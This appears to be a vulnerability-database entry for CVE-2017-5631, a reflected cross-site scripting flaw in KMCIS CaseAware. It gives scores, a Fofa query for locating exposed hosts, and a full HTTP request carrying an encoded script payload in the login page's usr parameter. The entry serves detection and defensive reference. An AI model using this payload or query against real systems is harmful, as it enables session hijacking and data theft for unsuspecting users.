🔙 목록으로 돌아가기

CVE-2017-5631: KMCIS CaseAware - Cross-Site Scripting

TitleKMCIS CaseAware - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationTo remediate this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.
CVSS Score6.1
EPSS Score0.2527
CVE IDCVE-2017-5631
CWE IDCWE-79
Fofa Querytitle="caseaware"
Tags cve2017 cve edb xss caseaware kmc_information_systems vuln

🔍 Vulnerability Description

KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string.

🌐 HTTP Request

GET /login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.17
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-5631.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-5631.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A